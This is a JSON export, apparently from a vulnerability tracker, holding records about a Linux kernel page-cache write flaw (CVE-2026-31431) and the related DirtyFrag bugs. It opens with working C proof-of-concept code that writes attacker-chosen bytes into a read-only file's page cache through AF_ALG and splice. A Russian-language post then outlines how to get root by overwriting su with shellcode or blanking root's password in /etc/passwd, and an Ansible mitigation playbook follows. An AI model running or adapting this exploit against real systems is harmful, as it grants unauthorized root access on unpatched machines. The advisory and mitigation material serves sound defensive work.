uint32_t op = 0; /* ALG_OP_DECRYPT */\n        uint32_t assoclen = ASSOCLEN;\n        uint8_t iv_buf[sizeof(uint32_t) + IV_SIZE];\n        memset(iv_buf, 0, sizeof(iv_buf));\n        *(uint32_t *)iv_buf = IV_SIZE;\n\n        struct iovec iov = { .iov_base = aad, .iov_len = ASSOCLEN };\n\n        uint8_t cbuf[CMSG_SPACE(sizeof(op)) +\n                     CMSG_SPACE(sizeof(iv_buf)) +\n                     CMSG_SPACE(sizeof(assoclen))];\n        memset(cbuf, 0, sizeof(cbuf));\n\n        struct msghdr msg = {\n            .msg_iov = &iov,\n            .msg_iovlen = 1,\n            .msg_control = cbuf,\n            .msg_controllen = sizeof(cbuf),\n        };\n\n        struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);\n        cmsg->cmsg_level = SOL_ALG;\n        cmsg->cmsg_type = ALG_SET_OP;\n        cmsg->cmsg_len = CMSG_LEN(sizeof(op));\n        memcpy(CMSG_DATA(cmsg), &op, sizeof(op));\n\n        cmsg = CMSG_NXTHDR(&msg, cmsg);\n        cmsg->cmsg_level = SOL_ALG;\n        cmsg->cmsg_type = ALG_SET_IV;\n        cmsg->cmsg_len = CMSG_LEN(sizeof(iv_buf));\n        memcpy(CMSG_DATA(cmsg), iv_buf, sizeof(iv_buf));\n\n        cmsg = CMSG_NXTHDR(&msg, cmsg);\n        cmsg->cmsg_level = SOL_ALG;\n        cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;\n        cmsg->cmsg_len = CMSG_LEN(sizeof(assoclen));\n        memcpy(CMSG_DATA(cmsg), &assoclen, sizeof(assoclen));\n\n        if (sendmsg(req_fd, &msg, MSG_MORE) < 0) {\n            perror(\"sendmsg\");\n            goto out_req;\n        }\n    }\n\n    /* splice: file[0 : file_offset + AUTHSIZE] into AF_ALG socket */\n    {\n        size_t splice_len = file_offset + AUTHSIZE;\n\n        if (pipe(pipefd) < 0) {\n            perror(\"pipe\");\n            goto out_req;\n        }\n\n        loff_t off_in = 0;\n        ssize_t n = splice(target_fd, &off_in, pipefd[1], NULL,\n                           splice_len, SPLICE_F_MOVE);\n        if (n < 0 || (size_t)n != splice_len) {\n            perror(\"splice(file\u2192pipe)\");\n            goto out_pipe;\n        }\n\n        n = splice(pipefd[0], NULL, req_fd, NULL,\n                   splice_len, SPLICE_F_MOVE);\n        if (n < 0 || (size_t)n != splice_len) {\n            perror(\"splice(pipe\u2192socket)\");\n            goto out_pipe;\n        }\n    }\n\n    /* recv: triggers authencesn decrypt \u2192 page cache write happens here */\n    {\n        size_t recv_len = ASSOCLEN + file_offset;\n        uint8_t *buf = malloc(recv_len ? recv_len : 1);\n        if (!buf) goto out_pipe;\n\n        ssize_t n = recv(req_fd, buf, recv_len, 0);\n        /* Expected: n < 0, errno = EBADMSG (HMAC verification fails) */\n        /* But the 4-byte page cache write has already occurred! */\n        if (n < 0 && errno != EBADMSG)\n            fprintf(stderr, \"recv: unexpected error %d (%s)\\n\",\n                    errno, strerror(errno));\n        free(buf);\n    }\n\n    ret = 0;\n\nout_pipe:\n    close(pipefd[0]);\n    close(pipefd[1]);\nout_req:\n    close(req_fd);\nout_alg:\n    close(alg_fd);\n    return ret;\n}\n\nint main(int argc, char *argv[])\n{\n    if (argc != 4) {\n        fprintf(stderr, \"Usage: %s   \\n\", argv[0]);\n        fprintf(stderr, \"Example: %s /tmp/testfile 0 0xDEADBEEF\\n\", argv[0]);\n        return 1;\n    }\n\n    const char *target_path = argv[1];\n    unsigned int offset = strtoul(argv[2], NULL, 0);\n    uint32_t value = strtoul(argv[3], NULL, 0);\n\n    printf(\"[*] Target: %s\\n\", target_path);\n    printf(\"[*] Offset: %u (0x%x)\\n\", offset, offset);\n    printf(\"[*] Value:  0x%08x\\n\", value);\n\n    int fd = open(target_path, O_RDONLY);\n    if (fd < 0) {\n        perror(\"open target\");\n        return 1;\n    }\n\n    printf(\"[*] Writing 4 bytes to page cache...\\n\");\n    if (page_cache_write_4bytes(fd, offset, value) < 0) {\n        fprintf(stderr, \"[-] Page cache write failed\\n\");\n        close(fd);\n        return 1;\n    }\n\n    printf(\"[+] Done. Page cache of %s at offset %u should now contain 0x%08x\\n\",\n           target_path, offset, value);\n    printf(\"[*] Verify: hexdump -C -s %u -n 4 %s\\n\", offset, target_path);\n\n    close(fd);\n    return 0;\n}\n\n\n#!/bin/bash\n# Launch QEMU for CVE-2026-31431 debugging\n#\n# Usage:\n#   ./run_qemu.sh          # Normal boot\n#   ./run_qemu.sh debug    # Boot paused, waiting for GDB on :1234\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nBZIMAGE=\"${SCRIPT_DIR}/bzImage\"\nROOTFS=\"${SCRIPT_DIR}/rootfs.cpio.gz\"\n\nif [ ! -f \"$BZIMAGE\" ] || [ ! -f \"$ROOTFS\" ]; then\n    echo \"Error: bzImage or rootfs.cpio.gz not found in ${SCRIPT_DIR}\"\n    echo \"Run the Docker build first: ./build_docker.sh\"\n    exit 1\nfi\n\nEXTRA_ARGS=\"\"\nif [ \"$1\" = \"debug\" ]; then\n    EXTRA_ARGS=\"-s -S\"\n    echo \"=== Debug mode: QEMU paused, waiting for GDB on localhost:1234 ===\"\n    echo \"  In another terminal: gdb ./vmlinux -ex 'target remote :1234'\"\nfi\n\nexec qemu-system-x86_64 \\\n    -kernel \"$BZIMAGE\" \\\n    -initrd \"$ROOTFS\" \\\n    -append \"console=ttyS0 nokaslr\" \\\n    -nographic \\\n    -m 512M \\\n    -smp 1 \\\n    ${EXTRA_ARGS}\n", "creation_timestamp": "2026-05-08T04:30:19.000000Z"}, {"uuid": "e4ad9122-294b-4dc1-bd39-942d09d042b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/poxek/6065", "content": "\ud83e\udde0 \u041f\u043e\u043c\u043d\u0438\u0442\u0435 Copy Fail? \u0422\u0430\u043a \u0432\u043e\u0442, \u043d\u0430\u0448\u043b\u0438 \u0435\u0449\u0451 \u0434\u0432\u0430 \u0441\u043f\u043e\u0441\u043e\u0431\u0430 \u0434\u0435\u043b\u0430\u0442\u044c \u0442\u043e \u0436\u0435 \u0441\u0430\u043c\u043e\u0435\n\n\u041d\u0435\u0434\u0435\u043b\u044e \u043d\u0430\u0437\u0430\u0434 \u044f \u043f\u0438\u0441\u0430\u043b \u043f\u0440\u043e CVE-2026-31431 - 732 \u0431\u0430\u0439\u0442\u0430 Python \u0438 \u0442\u044b root. \u0411\u0430\u0433 \u0432 \u043a\u0440\u0438\u043f\u0442\u043e-\u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u044f\u0434\u0440\u0430, \u0447\u0435\u0440\u0435\u0437 splice() \u0438 page cache. \u041a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0431\u044b - \u043d\u0443 \u043d\u0430\u0448\u043b\u0438, \u043d\u0443 \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u043b\u0438, \u0436\u0438\u0432\u0451\u043c \u0434\u0430\u043b\u044c\u0448\u0435\n\n\u0410 \u0432\u0447\u0435\u0440\u0430 V4bel \u0432\u044b\u043a\u0430\u0442\u0438\u043b DirtyFrag. \u0414\u0432\u0430 \u043d\u043e\u0432\u044b\u0445 \u0431\u0430\u0433\u0430 \u0442\u043e\u0433\u043e \u0436\u0435 \u043a\u043b\u0430\u0441\u0441\u0430. \u0422\u043e\u0442 \u0436\u0435 \u043f\u0440\u0438\u043d\u0446\u0438\u043f - \u0447\u0435\u0440\u0435\u0437 splice() \u0437\u0430\u0433\u043e\u043d\u044f\u0435\u043c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0444\u0430\u0439\u043b\u0430 \u0432 \u044f\u0434\u0435\u0440\u043d\u0443\u044e \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u044e, \u044f\u0434\u0440\u043e \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \"\u043d\u0430 \u043c\u0435\u0441\u0442\u0435\" \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043f\u0440\u044f\u043c\u043e \u0432 page cache. \u0422\u043e\u043b\u044c\u043a\u043e \u0442\u0435\u043f\u0435\u0440\u044c \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 AF_ALG, \u0430 \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u043c\u043e\u0434\u0443\u043b\u044f - ESP (IPsec) \u0438 RxRPC\n\n \ud83d\udc40 \u0414\u0432\u0430 \u043f\u0443\u0442\u0438 \u043a root. \u0412\u044b\u0431\u0438\u0440\u0430\u0439 \u043a\u0430\u043a\u043e\u0439 \u043d\u0440\u0430\u0432\u0438\u0442\u0441\u044f\n\n\u041f\u0435\u0440\u0432\u044b\u0439 - \u0447\u0435\u0440\u0435\u0437 ESP. \u0421\u043e\u0437\u0434\u0430\u0451\u043c XFRM-\u0430\u0441\u0441\u043e\u0446\u0438\u0430\u0446\u0438\u044e \u0441 UDP-\u0438\u043d\u043a\u0430\u043f\u0441\u0443\u043b\u044f\u0446\u0438\u0435\u0439, \u0437\u0430\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b /usr/bin/su \u0432 \u043f\u0430\u0439\u043f\u043b\u0430\u0439\u043d \u0447\u0435\u0440\u0435\u0437 splice(), \u044f\u0434\u0440\u043e \u0434\u0435\u043b\u0430\u0435\u0442 in-place \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u0438 \u043f\u0438\u0448\u0435\u0442 4 \u0431\u0430\u0439\u0442\u0430 \u043a\u0443\u0434\u0430 \u043c\u044b \u0441\u043a\u0430\u0436\u0435\u043c. \u041f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c - \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c 192-\u0431\u0430\u0439\u0442\u043d\u044b\u0439 \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u043f\u043e\u0432\u0435\u0440\u0445 su. \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c su - \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c root. \u0417\u0432\u0443\u0447\u0438\u0442 \u0437\u043d\u0430\u043a\u043e\u043c\u043e? \u042d\u0442\u043e \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u0442\u043e\u0442 \u0436\u0435 \u043f\u0430\u0442\u0442\u0435\u0440\u043d, \u0447\u0442\u043e \u0438 Copy Fail, \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u0434\u0440\u0443\u0433\u0443\u044e \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0443. \u0411\u0430\u0433 \u0432 \u044f\u0434\u0440\u0435 \u0441 \u044f\u043d\u0432\u0430\u0440\u044f 2017 \u0433\u043e\u0434\u0430\n\n\u0412\u0442\u043e\u0440\u043e\u0439 - \u0447\u0435\u0440\u0435\u0437 RxRPC, \u0438 \u0432\u043e\u0442 \u0442\u0443\u0442 \u043a\u0440\u0430\u0441\u0438\u0432\u043e. \u0412\u043c\u0435\u0441\u0442\u043e \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0430 - \u043f\u0430\u0442\u0447\u0438\u043c /etc/passwd. \u0421\u043e\u0437\u0434\u0430\u0451\u043c rxkad-\u0442\u043e\u043a\u0435\u043d \u0441 \u043d\u0443\u0436\u043d\u044b\u043c \u043a\u043b\u044e\u0447\u043e\u043c \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u044f\u0434\u0440\u043e \u0447\u0435\u0440\u0435\u0437 rxkad_verify_packet_1() \u0434\u0435\u043b\u0430\u0435\u0442 pcbc(fcrypt) \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u043f\u0440\u044f\u043c\u043e \u043f\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0444\u0430\u0439\u043b\u0430. \u0422\u0440\u0438 splice-\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0441 \u043f\u0435\u0440\u0435\u043a\u0440\u044b\u0442\u0438\u0435\u043c - \u0438 \u0441\u0442\u0440\u043e\u043a\u0430 root:x:0:0: \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 root::0:0:. \u041f\u0443\u0441\u0442\u043e\u0439 \u043f\u0430\u0440\u043e\u043b\u044c. su root, Enter, \u0432\u0441\u0451. \u041f\u0440\u0438\u0447\u0451\u043c \u043d\u0443\u0436\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0432 \u044e\u0437\u0435\u0440\u0441\u043f\u0435\u0439\u0441\u0435 - \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0444\u043b\u0430\u0439\u043d, \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u044f\u0434\u0440\u0443. \u041e\u0434\u0438\u043d \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u0440\u0438\u0433\u0433\u0435\u0440 \u0432 \u043a\u043e\u043d\u0446\u0435. \u042d\u0442\u043e\u0442 \u0431\u0430\u0433 \u0441 \u0438\u044e\u043d\u044f 2023 \u0433\u043e\u0434\u0430\n\n\u041d\u0438 \u043e\u0434\u043d\u043e\u0439 \u0433\u043e\u043d\u043a\u0438. \u041d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e race condition. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043b\u043e\u0433\u0438\u043a\u0430 - \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043b \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b, \u0434\u0451\u0440\u043d\u0443\u043b \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443, page cache \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u043d. \u0415\u0441\u043b\u0438 \u0447\u0442\u043e-\u0442\u043e \u043f\u043e\u0448\u043b\u043e \u043d\u0435 \u0442\u0430\u043a - \u044f\u0434\u0440\u043e \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u044c\n\n\u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e \u043d\u0430 Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed, CentOS Stream 10, AlmaLinux 10, Fedora 44. \u041a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u043e\u0439: \n\n\ngcc -O0 -Wall -o exp exp.c -lutil\n\n\n\u0418 \u0432\u043e\u0442 \u0442\u0443\u0442 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 - CVE \u043d\u0435\u0442. \u041f\u0430\u0442\u0447\u0430 \u043d\u0435\u0442. \u041d\u0438 \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430. \u041f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043a\u0442\u043e-\u0442\u043e \u0441\u043b\u043e\u043c\u0430\u043b \u044d\u043c\u0431\u0430\u0440\u0433\u043e \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0432\u0435\u043d\u0434\u043e\u0440\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0432\u044b\u043a\u0430\u0442\u0438\u0442\u044c \u0444\u0438\u043a\u0441\u044b. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441\u0432\u044f\u0437\u0430\u043b\u0441\u044f \u0441 linux-distros@openwall, \u0442\u0435 \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c - \u0438 \u043e\u043d \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b. \u041f\u043e\u043b\u043d\u044b\u0439 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f, \u0437\u0430\u043f\u0443\u0441\u043a. \u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 - zero-day \u0432 \u0447\u0438\u0441\u0442\u043e\u043c \u0432\u0438\u0434\u0435\n\n\u0427\u0442\u043e \u043c\u044b \u0438\u043c\u0435\u0435\u043c. Dirty Pipe \u0432 2022 - page cache \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0439\u043f\u044b. Copy Fail \u043d\u0435\u0434\u0435\u043b\u044e \u043d\u0430\u0437\u0430\u0434 - page cache \u0447\u0435\u0440\u0435\u0437 AF_ALG. DirtyFrag \u0432\u0447\u0435\u0440\u0430 - page cache \u0447\u0435\u0440\u0435\u0437 ESP \u0438 RxRPC. \u0422\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u0431\u0430\u0433-\u043a\u043b\u0430\u0441\u0441. \u042f\u0434\u0440\u043e Linux \u043f\u043e\u043b\u043d\u043e \u043c\u0435\u0441\u0442, \u0433\u0434\u0435 \u043a\u0440\u0438\u043f\u0442\u043e\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0434\u0435\u043b\u0430\u044e\u0442\u0441\u044f \u00ab\u043d\u0430 \u043c\u0435\u0441\u0442\u0435\u00bb \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0437 splice(). \u041a\u0430\u0436\u0434\u043e\u0435 \u0442\u0430\u043a\u043e\u0435 \u043c\u0435\u0441\u0442\u043e - \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c \u0432 page cache. \u0421\u043a\u043e\u043b\u044c\u043a\u043e \u0435\u0449\u0451 \u0442\u0430\u043a\u0438\u0445 \u043c\u0435\u0441\u0442 \u0432 \u044f\u0434\u0440\u0435 - \u0432\u043e\u043f\u0440\u043e\u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439. \u041f\u043e\u0434\u043e\u0437\u0440\u0435\u0432\u0430\u044e - \u043d\u0435 \u043c\u0430\u043b\u043e \ud83d\udc40\n\n\n\u041c\u0438\u0442\u0438\u0433\u0430\u0446\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0441\u0435\u0439\u0447\u0430\u0441 (\u043f\u0430\u0442\u0447\u0430-\u0442\u043e \u043d\u0435\u0442):\n\n\nprintf 'install esp4 /bin/false\\ninstall esp6 /bin/false\\ninstall rxrpc /bin/false\\n' > /etc/modprobe.d/dirtyfrag.conf\nrmmod esp4 esp6 rxrpc 2>/dev/null\n\n\n\u0427\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0441\u043b\u043e\u043c\u0430\u0442\u044c\u0441\u044f - ESP \u043c\u043e\u0434\u0443\u043b\u0438 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f IPsec VPN. \u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 site-to-site IPsec \u0438\u043b\u0438 strongSwan - \u043f\u043e\u0434\u0443\u043c\u0430\u0439\u0442\u0435 \u0434\u0432\u0430\u0436\u0434\u044b. RxRPC \u043d\u0430 Ubuntu \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u043d\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e AFS (Andrew File System). \u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u043d\u0435\u0442 AFS - \u0441\u043c\u0435\u043b\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0439\u0442\u0435\n\n\u0422\u0440\u0438 \u0433\u043e\u0434\u0430, \u0434\u0435\u0432\u044f\u0442\u044c \u043b\u0435\u0442. \u0414\u0432\u0430 \u0431\u0430\u0433\u0430 \u043b\u0435\u0436\u0430\u043b\u0438 \u0440\u044f\u0434\u043e\u043c \u0438 \u0436\u0434\u0430\u043b\u0438. \u041e\u0434\u0438\u043d \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u043e\u0434\u0438\u043d \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u043e\u0434\u0438\u043d claude, \u0432\u0441\u0435 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b. \u0418 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 - \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0430. \u0412\u043e\u0442 \u0432\u0430\u043c \u0438 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435", "creation_timestamp": "2026-05-08T04:56:49.000000Z"}, {"uuid": "3e7526eb-8cb9-4871-9b6d-fa432147d75f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/redhat-linux-kernel-multiple-vulnerabilities_20260508", "content": "", "creation_timestamp": "2026-05-07T20:00:00.000000Z"}, {"uuid": "0b62c7a8-432e-40aa-adb5-f33ae3a22813", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/inmediasit/a0387a5d338969501c2ef41d5886397d", "content": "---\n# Mitigation for \"Dirty Frag\" (xfrm-ESP Page-Cache Write + RxRPC Page-Cache Write LPE)\n# https://dirtyfrag.io / https://github.com/V4bel/dirtyfrag\n#\n# Apply:  ansible-playbook playbooks/dirtyfrag-mitigation.yml\n# Remove: once the vendor kernel is patched, delete the modprobe conf and reload modules.\n#\n# NOTE: Unlike Copy Fail (CVE-2026-31431), the algif_aead / AF_ALG mitigation is\n# NOT sufficient here.  The xfrm-ESP sink is reachable regardless of algif_aead.\n# This playbook can be applied in addition to the Copy Fail playbook.\n#\n# Affected: kernels >= cac2661c53f3 (2017-01-17) for esp4/esp6\n#                   >= 2dc334f1a63a (2023-06)    for rxrpc\n# Tested on: Ubuntu 24.04, RHEL/AlmaLinux 10, Fedora 44, openSUSE Tumbleweed, CentOS Stream 10\n\n- hosts: all\n  gather_facts: true\n  become: yes\n\n  tasks:\n    # ------------------------------------------------------------------ #\n    # 1. Block the three vulnerable modules via modprobe blacklist         #\n    # ------------------------------------------------------------------ #\n\n    - name: Install modprobe blacklist for esp4, esp6, rxrpc\n      ansible.builtin.copy:\n        dest: /etc/modprobe.d/dirtyfrag.conf\n        owner: root\n        group: root\n        mode: '0644'\n        content: |\n          # Dirty Frag mitigation \u2014 block vulnerable kernel modules.\n          # xfrm-ESP Page-Cache Write (esp4/esp6) and RxRPC Page-Cache Write (rxrpc)\n          # Remove once the vendor kernel ships a fix.\n          install esp4  /bin/false\n          install esp6  /bin/false\n          install rxrpc /bin/false\n\n    # ------------------------------------------------------------------ #\n    # 2. Unload the modules if currently loaded                           #\n    #    (rmmod fails gracefully when the module isn't present)           #\n    # ------------------------------------------------------------------ #\n\n    - name: Unload rxrpc if loaded\n      community.general.modprobe:\n        name: rxrpc\n        state: absent\n      ignore_errors: true\n\n    - name: Unload esp6 if loaded\n      community.general.modprobe:\n        name: esp6\n        state: absent\n      ignore_errors: true\n\n    - name: Unload esp4 if loaded\n      community.general.modprobe:\n        name: esp4\n        state: absent\n      ignore_errors: true\n\n    # ------------------------------------------------------------------ #\n    # 3. Fallback: rmmod via shell for distros where community.general    #\n    #    modprobe with state=absent is not idempotent                     #\n    # ------------------------------------------------------------------ #\n\n    - name: Force-remove modules via rmmod (best-effort)\n      ansible.builtin.shell: |\n        for mod in esp4 esp6 rxrpc; do\n          if lsmod | grep -q \"^${mod} \"; then\n            rmmod \"$mod\" 2>/dev/null && echo \"removed $mod\" || echo \"could not remove $mod (in use?)\"\n          else\n            echo \"$mod not loaded\"\n          fi\n        done\n      register: rmmod_result\n      changed_when: \"'removed' in rmmod_result.stdout\"\n\n    - name: Show rmmod output\n      ansible.builtin.debug:\n        msg: \"{{ rmmod_result.stdout_lines }}\"\n\n    # ------------------------------------------------------------------ #\n    # 4. Regenerate initramfs so the blacklist survives a reboot          #\n    #    (distro-aware: update-initramfs on Debian/Ubuntu,                #\n    #     dracut on RHEL/Fedora/SUSE)                                     #\n    # ------------------------------------------------------------------ #\n\n    - name: Regenerate initramfs (Debian/Ubuntu)\n      ansible.builtin.command: update-initramfs -u -k all\n      when: ansible_os_family == \"Debian\"\n      changed_when: true\n\n    - name: Regenerate initramfs (RHEL / Fedora / AlmaLinux / CentOS / SUSE)\n      ansible.builtin.command: dracut --force --regenerate-all\n      when: ansible_os_family in [\"RedHat\", \"Suse\"]\n      changed_when: true\n\n    # ------------------------------------------------------------------ #\n    # 5. Verification                                                     #\n    # ------------------------------------------------------------------ #\n\n    - name: Verify modprobe blacklist is in place\n      ansible.builtin.command: cat /etc/modprobe.d/dirtyfrag.conf\n      register: modprobe_conf\n      changed_when: false\n      failed_when: >\n        \"install esp4\"  not in modprobe_conf.stdout or\n        \"install esp6\"  not in modprobe_conf.stdout or\n        \"install rxrpc\" not in modprobe_conf.stdout\n\n    - name: Verify esp4 is not loaded\n      ansible.builtin.shell: lsmod | grep -q '^esp4 ' && echo LOADED || echo NOT_LOADED\n      register: esp4_check\n      changed_when: false\n      failed_when: esp4_check.stdout == \"LOADED\"\n\n    - name: Verify esp6 is not loaded\n      ansible.builtin.shell: lsmod | grep -q '^esp6 ' && echo LOADED || echo NOT_LOADED\n      register: esp6_check\n      changed_when: false\n      failed_when: esp6_check.stdout == \"LOADED\"\n\n    - name: Verify rxrpc is not loaded\n      ansible.builtin.shell: lsmod | grep -q '^rxrpc ' && echo LOADED || echo NOT_LOADED\n      register: rxrpc_check\n      changed_when: false\n      failed_when: rxrpc_check.stdout == \"LOADED\"\n\n    - name: Attempt to load esp4 (must fail due to blacklist)\n      ansible.builtin.command: modprobe esp4\n      register: esp4_load_attempt\n      changed_when: false\n      failed_when: esp4_load_attempt.rc == 0   # rc != 0 means blacklist worked\n\n    - name: Attempt to load rxrpc (must fail due to blacklist)\n      ansible.builtin.command: modprobe rxrpc\n      register: rxrpc_load_attempt\n      changed_when: false\n      failed_when: rxrpc_load_attempt.rc == 0\n\n    - name: Summary\n      ansible.builtin.debug:\n        msg:\n          - \"Dirty Frag mitigation applied successfully.\"\n          - \"esp4:  {{ esp4_check.stdout }}\"\n          - \"esp6:  {{ esp6_check.stdout }}\"\n          - \"rxrpc: {{ rxrpc_check.stdout }}\"\n          - \"Blacklist reboot-persistent: yes (initramfs regenerated)\"\n          - \"NOTE: If IPsec (ESP) is required in your environment, this mitigation\"\n          - \"      will break it. Apply only on hosts where ESP is not in use.\"", "creation_timestamp": "2026-05-08T06:26:34.000000Z"}, {"uuid": "6959bdf0-3643-40e9-a0e0-8cb78a2e65b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83322", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 